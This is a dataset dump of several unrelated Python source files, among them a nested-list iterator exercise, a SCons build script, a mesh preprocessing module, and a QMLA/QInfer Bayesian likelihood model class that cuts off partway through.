Input\n [[1,1],2,[1,1]]\n Expected\n [1,1,2,1,1]\n Error Message\n Traceback (most recent call last): File \"Main.py\", line 12, in i, v = NestedIterator(nestedList), [] \n File \"NestedIterator.py\", line 38, in __init__ for idx, ele in enumerate(tmp): TypeError: 'NestedInteger' object is \n not iterable EXITCODE=1\n \n \"\"\"\n def __init__(self, nestedList):\n # Initialize your data structure here.\n self.data = []\n self.idx = -1\n while nestedList:\n tmp = nestedList.pop(0)\n if isinstance(tmp, int):\n self.data.append(tmp)\n else:\n for idx, ele in enumerate(tmp):\n nestedList.insert(idx, ele)\n\n # @return {int} the next element in the iteration\n def next(self):\n # Write your code here\n tmp = self.data.pop(0)\n return tmp\n\n # @return {boolean} true if the iteration has more element or false\n def hasNext(self):\n # Write your code here\n return len(self.data) > 0\n\n\n# Write your code here\n\n\n# Your NestedIterator object will be instantiated and called as such:\n# i, v = NestedIterator(nestedList), []\n# while i.hasNext(): v.append(i.next())\n\n\nclass SolutionTester(unittest.TestCase):\n def setUp(self):\n self.sol = Solution()\n\n def test_case2(self):\n nums = [4,[3,[2,[1]]]]\n answer = [4,3,2,1]\n result = self.sol.flatten(nums)\n self.assertEqual(answer, result)\n\n\n def test_case1(self):\n nums = [1,2,[1,2]]\n answer = [1,2,1,2]\n result = self.sol.flatten(nums)\n self.assertEqual(answer, result)\n\n\ndef main():\n suite = unittest.TestLoader().loadTestsFromTestCase(SolutionTester)\n unittest.TextTestRunner(verbosity=2).run(suite)\n\n\nif __name__ == \"__main__\":\n main()\n\n\n\n#-*- coding:utf-8 -*-\n","sub_path":"freq/flatten_nested_list_iterator.py","file_name":"flatten_nested_list_iterator.py","file_ext":"py","file_size_in_byte":4637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"78112769","text":"\"\"\"\nQuestion: Write a program that accepts a comma separated sequence of words as input and prints the words \nin a comma-separated sequence after sorting them alphabetically. Suppose the following input is supplied \nto the program: without,hello,bag,world Then, the output should be: bag,hello,without,world\n\"\"\"\ndef main():\n strs_list = [x for x in input().split(\",\")]\n strs = sorted(strs_list)\n\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"programming-exercises/08-列表排序.py","file_name":"08-列表排序.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"137140055","text":"#\n#-----------------------------------------------------------------------------\n# This source file is part of Terminal_G33k\n# Copyright (c) 2005 The Terminal_G33k Team\n# Also see acknowledgements in Readme.txt\n\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2.\n\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n# or go to http://www.gnu.org/copyleft/gpl.txt\n# -----------------------------------------------------------------------------\n\n\nimport glob\n\nengine_files = glob.glob(\"engine/*.cc\")\ngame_files = glob.glob(\"game/*.cc\")\n\ntglib_dir = ['engine/tglib','engine/tglib/math','engine/tglib/bvolume','engine/tglib/containers','engine/tglib/stl']\n\n#tglib file list creation from tglib_dir\ntglib_files = [glob.glob(dir+\"/*.cc\") for dir in tglib_dir]\n\n\n#command-line options parsing\noptions = {}\noptions['debug'] = ARGUMENTS.get('debug',1)\noptions['optimize'] = ARGUMENTS.get('optimize',0)\noptions['profile'] = ARGUMENTS.get('profile',0)\n\nif int(options['optimize']):\n\toptions['debug'] = 0\n\n#options specific flags\nopt_cflags = ' -Wall '\nopt_ldflags = ''\nopt_libs = ''\nif int(options['debug']):\n\topt_cflags += '-DDEBUG -ggdb '\n\topt_libs = 'mcheck'\n\topt_ldflags = '-lmcheck'\nif int(options['optimize']):\n\topt_cflags += '-O1'\nif int(options['profile']):\n\topt_ldflags += '-pg'\n\n\nenv_eng = Environment(CPPPATH=['engine','engine/interface','game/interface'],\n CXX='g++',\n\t\t\tCXXFLAGS='-DTGLINUX -I/usr/include/SDL '+opt_cflags,\n\t\t\tLIBS=['dl','SDL','SDL_image','m','GL','GLU','tglib',opt_libs],\n\t\t\tLDFLAGS=opt_ldflags,\n\t\t\tLIBPATH='.')\n\nenv_gam = Environment(CPPPATH=['game','engine/interface','game/interface'],\n CXX='g++',\n\t\t\tCXXFLAGS='-DTGLINUX -Wall '+opt_cflags,\n\t\t\tLDFLAGS='-shared'+opt_ldflags)\n\nenv_tgl = Environment(CPPPATH=tglib_dir.extend('engine/interface'),\n CXX='g++',\n\t\t\tCXXFLAGS='-DTGLINUX -Wall '+opt_cflags,\n\t\t\tLDFLAGS='-shared'+opt_ldflags)\n\n\nenv_tgl.SharedLibrary(target='tglib',source=tglib_files)\nenv_eng.Program(target='tg',source=engine_files)\nenv_gam.SharedLibrary(target='game',source=game_files)\n","sub_path":"SConstruct","file_name":"SConstruct","file_ext":"","file_size_in_byte":2517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"242918879","text":"# preprocess\nimport math\nimport os, sys\nimport numpy as np\n\n\nclass Edge(object):\n idx1 = 0\n idx2 = 0\n tri_list = []\n \"\"\"docstring for Edge\"\"\"\n def __init__(self, id1, id2, tid):\n super(Edge, self).__init__()\n self.idx1 = id1 if id1 < id2 else id2\n self.idx2 = id2 if id1 < id2 else id1\n self.tri_list.append(tid)\n\n\nclass Tri(object):\n tri_id = -1\n tri_vert = [] # three id\n tri_edges = [] # three edge objects\n\n \"\"\"docstring for Tri\"\"\"\n def __init__(self, id1, id2, id3, face_idx):\n super(Tri, self).__init__()\n self.tri_id = face_idx\n self.tri_vert = [id1, id2, id3]\n eg1 = Edge(id1, id2, face_idx)\n eg2 = Edge(id2, id3, face_idx)\n eg3 = Edge(id3, id1, face_idx)\n self.tri_edges = [eg1, eg2, eg3]\n\n\n# vert, vel, faces --> list \n# edges(dict): key: vertex-pair(tuple), value: triangle ids sharing this edge\ndef obj_loader(file_name, vert, vel, edges, faces):\n face_idx = 0\n with open(file_name, \"r\") as f1:\n for line in f1:\n s = line.strip().split(' ')\n if s[0] == 'v':\n vert.append([float(x) for x in s[1:]])\n elif s[0] == 'nv':\n vel.extend([float(x) for x in s[1:]])\n elif s[0] == 'f':\n id1 = int(s[1].strip().split('/')[0]) - 1 # index start at 1\n id2 = int(s[2].strip().split('/')[0]) - 1\n id3 = int(s[3].strip().split('/')[0]) - 1\n # add to the edge dictionary\n v = sorted([id1, id2, id3])\n if not edges.get((v[0], v[1])):\n edges[(v[0], v[1])] = [face_idx]\n else:\n edges[(v[0], v[1])].append(face_idx)\n if not edges.get((v[1], v[2])):\n edges[(v[1], v[2])] = [face_idx]\n else:\n edges[(v[1], v[2])].append(face_idx)\n if not edges.get((v[0], v[2])):\n edges[(v[0], v[2])] = [face_idx]\n else:\n edges[(v[0], v[2])].append(face_idx)\n # add to face list\n faces[face_idx] = Tri(id1, id2, id3, face_idx)\n face_idx += 1\n \n\ndef is_same_edge(e1, e2):\n if e1.idx1 == e2.idx1 and e1.idx2 == e2.idx2:\n return True\n else:\n return False\n\n\n# find the vertex that an edge is facing in a triangle\n# return vertex index\ndef vert_for_edge(tri, edge):\n vertices = tri.tri_vert\n for v in vertices:\n if edge.idx1 != v and edge.idx2 != v:\n return v\n\n\n# find other two edges in current triangle besides given edge\ndef other_two_edges(tri, e):\n e_list = tri.tri_edges\n other_e = []\n for item in e_list:\n if not is_same_edge(item, e):\n other_e.append(item)\n return other_e\n\n\n# input: vert & faces\n# output tri_nb: local vertices per row * tri_num\n# n: per tri info data, 3 for one triangle position only, 6 for triangle with one layer neighbor, x... with velocity etc...\ndef comp_mtx(vert, edges, faces, n=3):\n vert_num = len(vert)\n tri_num = len(faces)\n dim = [tri_num, vert_num]\n # print dim\n\n # mtx = np.array([np.zeros(tri_num*3) for item in range(vert_num)])\n mtx = np.array([np.zeros(tri_num * n) for item in range(vert_num)])\n count = np.zeros((vert_num, 1))\n # print \">>> mtx shape: \", mtx.shape\n\n # new_edges = []\n for i in range(0, tri_num):\n [id1, id2, id3] = faces[i].tri_vert\n # original vertex in index matrix\n mtx[id1][i * n] = 1\n mtx[id2][i * n + 1] = 1\n mtx[id3][i * n + 2] = 1\n count[id1][0] += 1.0\n count[id2][0] += 1.0\n count[id3][0] += 1.0\n\n # # for the neighbors, get shared edge and corresponding vertex\n # for j in range(0, len(faces[i].tri_edges)):\n # ed = faces[i].tri_edges[j]\n # # retrieve the tri_list for the dictionary\n # shared_tri = edges[(ed.idx1, ed.idx2)]\n # if len(shared_tri) > 1:\n # other_tri = shared_tri[1] if shared_tri[0] == i else shared_tri[0]\n # new_vert_id = vert_for_edge(faces[other_tri], ed)\n # # add to index matrix\n # # mtx[new_vert_id][i * 6 + 3 + j] = 1\n # mtx[new_vert_id][i * n + 3 + j] = 1\n # count[new_vert_id][0] += 1.0\n\n mtx_1 = mtx\n mtx = mtx_1 / count\n\n return dim, mtx, mtx_1\n\n\ndef find_neighbors(vert, edges, faces, n=1):\n vert_num = len(vert)\n tri_num = len(faces)\n tri_nb = [0] * tri_num\n # print(vert_num, tri_num, tri_nb) 700 x 1292\n # new_edges = []\n for i in range(0, tri_num):\n # print \"i:{}\".format(i)\n [id1, id2, id3] = faces[i].tri_vert\n # original vertex position\n tri_nb.extend(vert[id1])\n tri_nb.extend(vert[id2])\n tri_nb.extend(vert[id3])\n # while n > 0:\n # n = n - 1\n # add neighbors\n for j in range(0, len(faces[i].tri_edges)):\n ed = faces[i].tri_edges[j]\n # retrieve the tri_list for the dictionary\n shared_tri = edges[(ed.idx1, ed.idx2)]\n if len(shared_tri) > 1:\n other_tri = shared_tri[1] if shared_tri[0] == i else shared_tri[0]\n new_vert_id = vert_for_edge(faces[other_tri], ed)\n tri_nb.extend(vert[new_vert_id])\n # new_edges.extend(other_two_edges(faces[other_tri], ed))\n else:\n tri_nb.extend([0.0, 0.0, 0.0]) # zero padding\n\n return tri_nb\n\n\n# main\n# input: obj (subdivided coarse mesh)\n# return position matrix: local vertices per row * tri_num (6*3 x tri_num)\ndef meshmtx_wnb(file_name):\n vert = []\n vel = []\n edges = {}\n faces = {}\n\n obj_loader(file_name, vert, vel, edges, faces)\n dim, mtx, mtx_1 = comp_mtx(vert, edges, faces)\n\n return dim, mtx, mtx_1\n\n\ndef load_batch(file_name, batch_data, holdings=[]):\n vert = []\n vel = []\n edges = {}\n faces = {}\n obj_loader(file_name, vert, vel, edges, faces)\n\n # tri_nb = find_neighbors(vert, edges, faces)\n # batch_data.append(tri_nb)\n\n if len(holdings) is not 0:\n for i, x in enumerate(holdings):\n del vert[x - i]\n\n batch_data.append(vert)\n\n","sub_path":"smooth_pool_9/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":6302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"211947581","text":"from __future__ import print_function # so print doesn't show brackets\n\nimport numpy as np\nimport sys\nimport warnings\nimport copy\n\nimport scipy as sp\nimport qinfer as qi\nimport time\n\nimport qmla.shared_functionality.experimental_data_processing\nimport qmla.get_exploration_strategy\nimport qmla.memory_tests\nimport qmla.shared_functionality.probe_set_generation\nimport qmla.construct_models\nimport qmla.logging \n\nglobal_print_loc = False\nglobal debug_print\ndebug_print = False\nglobal debug_mode\ndebug_mode = True\nglobal debug_print_file_line\ndebug_print_file_line = False\n\n\nclass QInferModelQMLA(qi.FiniteOutcomeModel):\n r\"\"\"\n Interface between QMLA and QInfer.\n\n QInfer is a library for performing Bayesian inference\n on quantum data for parameter estimation.\n It underlies the Quantum Hamiltonian Learning subroutine\n employed within QMLA.\n Bayesian inference relies on comparisons likelihoods\n of the target and candidate system. \n This class, specified by an exploration strategy, defines how to \n compute the likelihood for the user's system. \n Most functionality is inherited from QInfer, but methods listed \n here are edited for QMLA's needs. \n The likelihood function given here should suffice for most QMLA \n implementations, though users may want to overwrite \n get_system_pr0_array and get_simulator_pr0_array, \n for instance to specify which experimental data points to use. \n \n :param str model_name: Unique string representing a model.\n :param np.ndarray modelparams: list of parameters to multiply by operators, \n unused for QMLA reasons but required by QInfer. \n :param np.ndarray oplist: Set of operators whose sum\n defines the evolution Hamiltonian \n (where each operator is associated with a distinct parameter).\n :param np.ndarray true_oplist: list of operators of the target system,\n used to construct true hamiltonian.\n :param np.ndarray trueparams: list of parameters of the target system,\n used to construct true hamiltonian.\n :param int num_probes: number of probes available in the probe sets, \n used to loop through probe set\n :param dict probe_dict: set of probe states to be used during training\n for the system, indexed by (probe_id, num_qubits). \n :param dict sim_probe_dict: set of probe states to be used during training\n for the simulator, indexed by (probe_id, num_qubits). Usually the same as \n the system probes, but not always. \n :param str exploration_rule: string corresponding to a unique exploration strategy,\n used to generate an explorationStrategy_ instance.\n :param dict experimental_measurements: fixed measurements of the target system, \n indexed by time.\n :param list experimental_measurement_times: times indexed in experimental_measurements.\n :param str log_file: Path of log file.\n \"\"\"\n\n ## INITIALIZER ##\n\n def __init__(\n self,\n model_name,\n modelparams,\n oplist,\n true_oplist,\n truename,\n true_param_dict,\n trueparams,\n num_probes,\n probe_dict,\n sim_probe_dict,\n exploration_rules,\n experimental_measurements,\n experimental_measurement_times,\n log_file,\n qmla_id=-1, \n evaluation_model=False,\n estimated_params=None,\n comparison_model=False, \n debug_mode=False,\n **kwargs\n ):\n self.model_name = model_name\n self.log_file = log_file\n self.qmla_id = qmla_id\n self.exploration_rules = exploration_rules\n self._oplist = oplist\n self._a = 0\n self._b = 0\n self.probe_counter = 0\n self.probe_rotation_frequency = 10\n self._modelparams = modelparams\n self.signs_of_inital_params = np.sign(modelparams)\n self._true_oplist = true_oplist\n self._trueparams = trueparams\n self._truename = truename\n self._true_dim = qmla.construct_models.get_num_qubits(self._truename)\n self.true_param_dict = true_param_dict \n self.store_likelihoods = {x : {} for x in ['system', 'simulator_median', 'simulator_mean']}\n self.likelihood_calls = {_ : 0 for _ in ['system', 'simulator']}\n self.summarise_likelihoods = {\n x : []\n for x in [\n 'system', \n 'particles_median', 'particles_mean',\n 'particles_std', 'particles_lower_quartile', 'particles_upper_quartile']\n }\n self.store_p0_diffs = []\n self.debug_mode = debug_mode\n # get true_hamiltonian from true_param dict\n self.log_print([\"True params dict:\", self.true_param_dict])\n true_ham = None\n for k in list(self.true_param_dict.keys()):\n param = self.true_param_dict[k]\n mtx = qmla.construct_models.compute(k)\n if true_ham is not None:\n true_ham += param * mtx\n else:\n true_ham = param * mtx\n self.true_hamiltonian = true_ham\n\n self.timings = {\n 'system': {}, \n 'simulator' : {}\n }\n for k in self.timings:\n self.timings[k] = {\n 'expectation_values' : 0, \n 'get_pr0' : 0,\n 'get_probe' : 0, \n 'construct_ham' : 0,\n 'storing_output' : 0,\n 'likelihood_array' : 0,\n 'likelihood' : 0, \n }\n self.calls_to_likelihood = 0 \n self.single_experiment_timings = {\n k : {} for k in ['system', 'simulator']\n }\n try:\n self.exploration_class = qmla.get_exploration_strategy.get_exploration_class(\n exploration_rules=self.exploration_rules,\n log_file=self.log_file,\n qmla_id=self.qmla_id, \n )\n except BaseException:\n self.log_print([\n \"Could not instantiate exploration strategy {}. Terminating\".foramt(\n self.exploration_rules\n )\n ])\n raise\n self.experimental_measurements = experimental_measurements\n self.experimental_measurement_times = experimental_measurement_times\n self.iqle_mode = self.exploration_class.iqle_mode \n self.comparison_model = comparison_model\n self.evaluation_model = evaluation_model\n if self.evaluation_model:\n self.estimated_params = estimated_params\n self.log_print([\n \"Evaluation qinfer model. Estimated parameters: {}\".format(\n self.estimated_params\n )\n ])\n estimated_model=None\n for i in range(len(self.estimated_params)):\n p = self.estimated_params[i]\n m = self._oplist[i]\n if estimated_model is None:\n estimated_model = p*m\n else:\n estimated_model += p*m\n self.estimated_model = estimated_model\n try:\n self.log_print([\n \"Estimated model's difference from true model\", \n np.max(np.abs(self.estimated_model - self.true_hamiltonian))\n ])\n except:\n # different dimension candidate from true model; doesn't really matter\n pass\n\n\n # Required by QInfer: \n self._min_freq = 0 # what does this do?\n self._solver = 'scipy'\n # This is the solver used for time evolution scipy is faster\n # QuTip can handle implicit time dependent likelihoods\n\n # self.model_dimension = qmla.construct_models.get_num_qubits(self.model_name)\n self.model_dimension = int(np.log2(self._oplist[0].shape[0]))\n self._true_dim = int(np.log2(self.true_hamiltonian.shape[0]))\n self.log_print([\"\\nModel {} dimension: {}. \".format(\n self.model_name, self.model_dimension\n )])\n if true_oplist is not None and trueparams is None:\n raise(\n ValueError(\n '\\nA system Hamiltonian with unknown \\\n parameters was requested'\n )\n )\n super(QInferModelQMLA, self).__init__(self._oplist)\n # self.log_print_debug([\n # \"true ops:\\n\", self._true_oplist,\n # \"\\nsim ops:\\n\", self._oplist\n # ])\n\n try:\n self.probe_dict = probe_dict\n self.sim_probe_dict = sim_probe_dict\n self.probe_number = num_probes\n except:\n raise ValueError(\n \"Probe dictionaries not passed to Qinfer model\"\n )\n self.log_print_debug([\n \"_trueparams:\", self._trueparams\n ])\n\n\n def log_print(\n self, \n to_print_list, \n log_identifier=None\n ):\n r\"\"\"Writng to unique QMLA instance log.\"\"\"\n if log_identifier is None: \n log_identifier = 'QInfer interface {}'.format(self.model_name)\n\n qmla.logging.print_to_log(\n to_print_list = to_print_list, \n log_file = self.log_file, \n log_identifier = log_identifier\n )\n\n def log_print_debug(\n self, \n to_print_list\n ):\n r\"\"\"Log print if global debug_mode set to True.\"\"\"\n\n if self.debug_mode:\n self.log_print(\n to_print_list = to_print_list,\n log_identifier = 'QInfer interface debug'\n )\n\n ## PROPERTIES ##\n @property\n def n_modelparams(self):\n r\"\"\"\n Number of parameters in the specific model \n typically, in QMLA, we have one parameter per model.\n \"\"\"\n\n return len(self._oplist)\n\n @property\n def modelparam_names(self):\n r\"\"\"\n Returns the names of the various model parameters admitted by this\n model, formatted as LaTeX strings. (Inherited from Qinfer)\n \"\"\"\n try:\n individual_term_names = self.model_name.split('+')\n except:\n individual_term_names = ['w0']\n for modpar in range(self.n_modelparams - 1):\n individual_term_names.append('w' + str(modpar + 1))\n \n return individual_term_names\n\n\n @property\n def expparams_dtype(self):\n r\"\"\"\n Returns the dtype of an experiment parameter array. \n \n For a model with single-parameter control, this will likely be a scalar dtype,\n such as ``\"float64\"``. More generally, this can be an example of a\n record type, such as ``[('time', py.'float64'), ('axis', 'uint8')]``.\n This property is assumed by inference engines to be constant for\n the lifetime of a Model instance.\n In the context of QMLA the expparams_dtype are assumed to be a list of tuple where\n the first element of the tuple identifies the parameters (including type) while the second element is\n the actual type of of the parameter, typicaly a float.\n (Modified from Qinfer).\n \"\"\"\n\n # expparams are the {t, probe_id, w1, w2, ...} guessed parameters, i.e. each \n # particle has a specific sampled value of the corresponding\n # parameter\n \n expnames = [\n ('t', 'float'),\n ('probe_id', 'int')\n ]\n try:\n individual_model_terms = self.model_name.split('+')\n except:\n individual_model_terms = [\n 'w_{}'.format(i)\n for i in range(self.n_modelparams)\n ]\n for term in individual_model_terms:\n expnames.append( (term, 'float') )\n\n return expnames\n\n ################################################################################\n # Methods\n ################################################################################\n\n def are_models_valid(self, modelparams):\n r\"\"\"\n Checks that the proposed models are valid.\n\n Before setting new distribution after resampling,\n checks that all parameters have same sign as the\n initial given parameter for that term.\n Otherwise, redraws the distribution.\n Modified from qinfer.\n \"\"\"\n\n same_sign_as_initial = False\n if same_sign_as_initial == True:\n new_signs = np.sign(modelparams)\n validity_by_signs = np.all(\n np.sign(modelparams) == self.signs_of_inital_params,\n axis=1\n )\n return validity_by_signs\n else:\n validity = np.all(np.abs(modelparams) > self._min_freq, axis=1)\n return validity\n\n def n_outcomes(self, expparams):\n r\"\"\"\n Returns an array of dtype ``uint`` describing the number of outcomes\n for each experiment specified by ``expparams``.\n\n :param numpy.ndarray expparams: Array of experimental parameters. This\n array must be of dtype agreeing with the ``expparams_dtype``\n property.\n \"\"\"\n return 2\n\n def likelihood(\n self,\n outcomes,\n modelparams,\n expparams\n ):\n r\"\"\"\n Function to calculate likelihoods for all the particles\n \n Inherited from Qinfer:\n Calculates the probability of each given outcome, conditioned on each\n given model parameter vector and each given experimental control setting.\n\n QMLA modifications: \n Given a list of experiments to perform, expparams, \n extract the time list. Typically we use a single experiment\n (therefore single time) per update.\n QInfer passes particles as modelparams.\n QMLA updates its knowledge in two steps:\n * \"simulate\" an experiment (which can include outsourcing from here to perform a real experiment), \n * update parameter distribution by comparing Np particles to the experimental result\n \n It is important that the comparison is fair, meaning:\n * The evolution time must be the same\n * The probe state to evolve must be the same.\n\n To simulate the experiment, we call QInfer's simulate_experiment,\n which calls likelihood(), passing a single particle. \n The update function calls simulate_experiment with Np particles. \n Therefore we know, when a single particle is passed to likelihood, \n that we want to call the true system (we know the true parameters \n and operators by the constructor of this class). \n So, when a single particle is detected, we circumvent QInfer by triggering\n get_system_pr0_array. Users can overwrite this function as desired; \n by default it computes true_hamiltonian, \n and computes the likelhood for the given time. \n When >1 particles are detected, pr0 is computed by constructing Np \n candidate Hamiltonians, each corresponding to a single particle, \n where particles are chosen by Qinfer and given as modelparams.\n This is done through get_simulator_pr0_array.\n We know calls to likelihood are coupled: \n one call for the system, and one for the update, \n which must use the same probes. Therefore probes are indexed\n by a probe_id as well as their dimension. \n We track calls to likelihood() in _a and increment the probe_id\n to pull every second call, to ensure the same probe_id is used for \n system and simulator.\n\n :param np.ndarray outcomes: outcomes of the experiments\n :param np.ndarray modelparams: \n values of the model parameters particles \n A shape ``(n_particles, n_modelparams)``\n array of model parameter vectors describing the hypotheses for\n which the likelihood function is to be calculated.\n \n :param np.ndarray expparams: \n experimental parameters, \n A shape ``(n_experiments, )`` array of\n experimental control settings, with ``dtype`` given by \n :attr:`~qinfer.Simulatable.expparams_dtype`, describing the\n experiments from which the given outcomes were drawn.\n \n :rtype: np.ndarray\n :return: A three-index tensor ``L[i, j, k]``, where ``i`` is the outcome\n being considered, ``j`` indexes which vector of model parameters was used,\n and where ``k`` indexes which experimental parameters where used.\n Each element ``L[i, j, k]`` then corresponds to the likelihood\n :math:`\\Pr(d_i | \\vec{x}_j; e_k)`.\n \"\"\"\n\n self.calls_to_likelihood+=1\n t_likelihood_start = time.time()\n super(QInferModelQMLA, self).likelihood(\n outcomes, modelparams, expparams\n ) # just adds to self._call_count (Qinfer abstact model class)\n\n # process expparams\n times = expparams['t'] # times to compute likelihood for. typicall only per experiment. \n probe_id = expparams['probe_id'][0]\n expparams_sampled_particle = np.array(\n [expparams.item(0)[2:]]) # TODO THIS IS DANGEROUS - DONT DO IT OUTSIDE OF TESTS \n self.log_print_debug([\n \"expparams_sampled_particle:\", expparams_sampled_particle\n ])\n self.ham_from_expparams = np.tensordot(\n expparams_sampled_particle, \n self._oplist, \n axes=1 \n )[0]\n\n num_particles = modelparams.shape[0]\n num_parameters = modelparams.shape[1]\n\n # assumption is that calls to likelihood are paired: \n # one for system, one for simulator\n # therefore the same probe should be assumed for consecutive calls\n # probe id is tracked with _a and _b.\n # i.e. increments each 2nd call, loops back when probe dict exhausted\n\n if num_particles == 1:\n # TODO better mechanism to determine if self.true_evolution, \n # rather than assuming 1 particle => system\n # call the system, use the true paramaters as a single particle, \n # to get the true evolution\n self.true_evolution = True\n params = [copy.deepcopy(self._trueparams)]\n else:\n self.true_evolution = False\n params = modelparams\n\n self.probe_counter = probe_id\n\n self.log_print_debug([\n \"\\n\\nLikelihood fnc called. Probe counter={}. True system -> {}.\".format(self.probe_counter, self.true_evolution)\n ])\n\n try:\n if self.true_evolution:\n t_init = time.time()\n # self.log_print([\"Getting system pr0\"])\n self.log_print_debug([\n \"Getting system Pr0 w/ params \", params\n ])\n pr0 = self.get_system_pr0_array(\n times=times,\n particles=params,\n )\n timing_marker = 'system'\n self.timings[timing_marker]['get_pr0'] += time.time() - t_init\n else:\n t_init = time.time()\n # self.log_print([\"Getting simulator pr0\"])\n self.log_print_debug([\n \"Getting simulator Pr0 w/ params \", params\n ])\n pr0 = self.get_simulator_pr0_array(\n times=times,\n particles=params,\n ) \n timing_marker = 'simulator'\n self.timings[timing_marker]['get_pr0'] += time.time() - t_init\n except:\n self.log_print([\n \"Failed to compute pr0. probe id used: {}\".format(self.probe_counter)\n ])\n # self.log_print([\"H_ for IQLE:\", self.ham_from_expparams[0]])\n raise # TODO raise specific error\n sys.exit()\n t_init = time.time()\n likelihood_array = (\n qi.FiniteOutcomeModel.pr0_to_likelihood_array(\n outcomes, pr0\n )\n )\n self.timings[timing_marker]['likelihood_array'] += time.time() - t_init\n self.single_experiment_timings[timing_marker]['likelihood'] = time.time() - t_likelihood_start\n\n self.log_print_debug([\n '\\ntrue_evo:', self.true_evolution,\n '\\nevolution times:', times,\n '\\nlen(outcomes):', len(outcomes),\n '\\n_a = {}, _b={}'.format(self._a, self._b),\n '\\nprobe counter:', self.probe_counter,\n '\\nexp:', expparams,\n '\\nOutcomes:', outcomes[:3],\n '\\nparticles:', params[:3],\n \"\\nPr0: \", pr0[:3], \n \"\\nLikelihood: \", likelihood_array[0][:3],\n \"\\nexpparams_sampled_particle:\", expparams_sampled_particle\n ])\n \n self.timings[timing_marker]['likelihood'] += time.time() - t_likelihood_start\n\n t_storage_start = time.time()\n if self.true_evolution: \n self.log_print_debug([\"Storing system likelihoods\"])\n self.store_likelihoods['system'][self.likelihood_calls['system']] = pr0\n self.summarise_likelihoods['system'].append(np.median(pr0))\n self.likelihood_calls['system'] += 1 \n else:\n self.store_likelihoods['simulator_mean'][self.likelihood_calls['simulator']] = np.mean(pr0)\n self.store_likelihoods['simulator_median'][self.likelihood_calls['simulator']] = np.median(pr0)\n diff_p0 = np.abs( pr0 - self.store_likelihoods['system'][self.likelihood_calls['simulator']] )\n self.store_p0_diffs.append( [np.median(diff_p0), np.std(diff_p0)] )\n self.summarise_likelihoods['particles_mean'].append( np.median(pr0) )\n self.summarise_likelihoods['particles_median'].append( np.median(pr0) )\n self.summarise_likelihoods['particles_std'].append( np.std(pr0) )\n self.summarise_likelihoods['particles_lower_quartile'].append( np.percentile(pr0, 25) )\n self.summarise_likelihoods['particles_upper_quartile'].append( np.percentile(pr0, 75) )\n self.likelihood_calls['simulator'] += 1 \n self.single_experiment_timings[timing_marker]['storage'] = time.time() - t_storage_start\n self.log_print_debug([\n \"Setting single_experiment_timings for {}[{}] -> {}\".format(\n timing_marker, 'storage', time.time() - t_storage_start\n )\n ])\n\n self.log_print_debug([\"Stored likelihoods\"])\n\n if self.evaluation_model:\n self.log_print_debug([\n \"\\nSystem evolution {}. t={} Likelihood={}\".format(\n self.true_evolution, times[0], likelihood_array[:3]\n )])\n \n return likelihood_array\n\n def get_system_pr0_array(\n self, \n times,\n particles, \n # **kwargs\n ):\n r\"\"\"\n Compute pr0 array for the system. \n # TODO compute e^(-iH) once for true Hamiltonian and use that rather than computing every step. \n\n For user specific data, or method to compute system data, replace this function \n in exploration_strategy.qinfer_model_subroutine. \n Here we pass the true operator list and true parameters to \n default_pr0_from_modelparams_times_.\n\n :param list times: times to compute pr0 for; usually single element.\n :param np.ndarry particles: list of parameter-lists, used to construct\n Hamiltonians. In this case, there should be a single particle\n corresponding to the true parameters. \n \n :returns np.ndarray pr0: probabilities of measuring specified outcome\n \"\"\"\n timing_marker = 'system'\n\n operator_list = self._true_oplist\n ham_num_qubits = self._true_dim\n # format of probe dict keys: (probe_id, qubit_number)\n # probe_counter controlled in likelihood method\n # probe = self.get_probe(\n # probe_id = self.probe_counter, \n # probe_set = \"system\"\n # )\n probe = self.probe_dict[\n self.probe_counter,\n self._true_dim \n ]\n # self.log_print([\n # \"\\nTrue Model {} has dim {} (operator shape {}) using system probe dimension: {}\".format(\n # self._truename, self._true_dim, np.shape(operator_list[0]), probe.shape),\n # # \"\\nTrue Model {} has shape {} with dimension {}\".format(self._truename, np.shape(operator_list[0]), self._true_dim)\n # ])\n\n # TODO: could just work with true_hamiltonian, worked out on __init__\n return self.default_pr0_from_modelparams_times(\n t_list = times,\n particles = particles, \n oplist = operator_list, \n # hamiltonian=self.true_hamiltonian, \n probe = probe, \n timing_marker=timing_marker\n # **kwargs\n )\n\n def get_simulator_pr0_array(\n self, \n particles, \n times,\n # **kwargs\n ):\n r\"\"\"\n Compute pr0 array for the simulator. \n\n For user specific data, or method to compute simulator data, replace this function \n in exploration_strategy.qinfer_model_subroutine. \n Here we pass the candidate model's operators and particles\n to default_pr0_from_modelparams_times_.\n\n :param list times: times to compute pr0 for; usually single element.\n :param np.ndarry particles: list of particles (parameter-lists), used to construct\n Hamiltonians. \n \n :returns np.ndarray pr0: probabilities of measuring specified outcome\n \"\"\"\n timing_marker = 'simulator'\n ham_num_qubits = self.model_dimension\n # format of probe dict keys: (probe_id, qubit_number)\n # probe_counter controlled in likelihood method\n t_init = time.time()\n\n probe = self.sim_probe_dict[\n self.probe_counter,\n self.model_dimension\n ]\n\n self.timings[timing_marker]['get_probe'] += time.time() - t_init\n operator_list = self._oplist\n if self.evaluation_model:\n # self.log_print_debug([\n self.log_print_debug([\n \"\\nUsing precomputed Hamiltonian. probe[0] (ID {}):\\n{}\".format(\n self.probe_counter, \n probe[0]\n )\n ])\n hamiltonian = self.estimated_model\n else:\n hamiltonian = None\n \n t_init = time.time()\n pr0 = self.default_pr0_from_modelparams_times(\n t_list = times, \n particles = particles, \n oplist = operator_list, \n probe = probe, \n hamiltonian=hamiltonian,\n timing_marker=timing_marker\n # **kwargs\n )\n return pr0\n\n def default_pr0_from_modelparams_times(\n self,\n t_list,\n particles,\n oplist,\n probe,\n timing_marker,\n 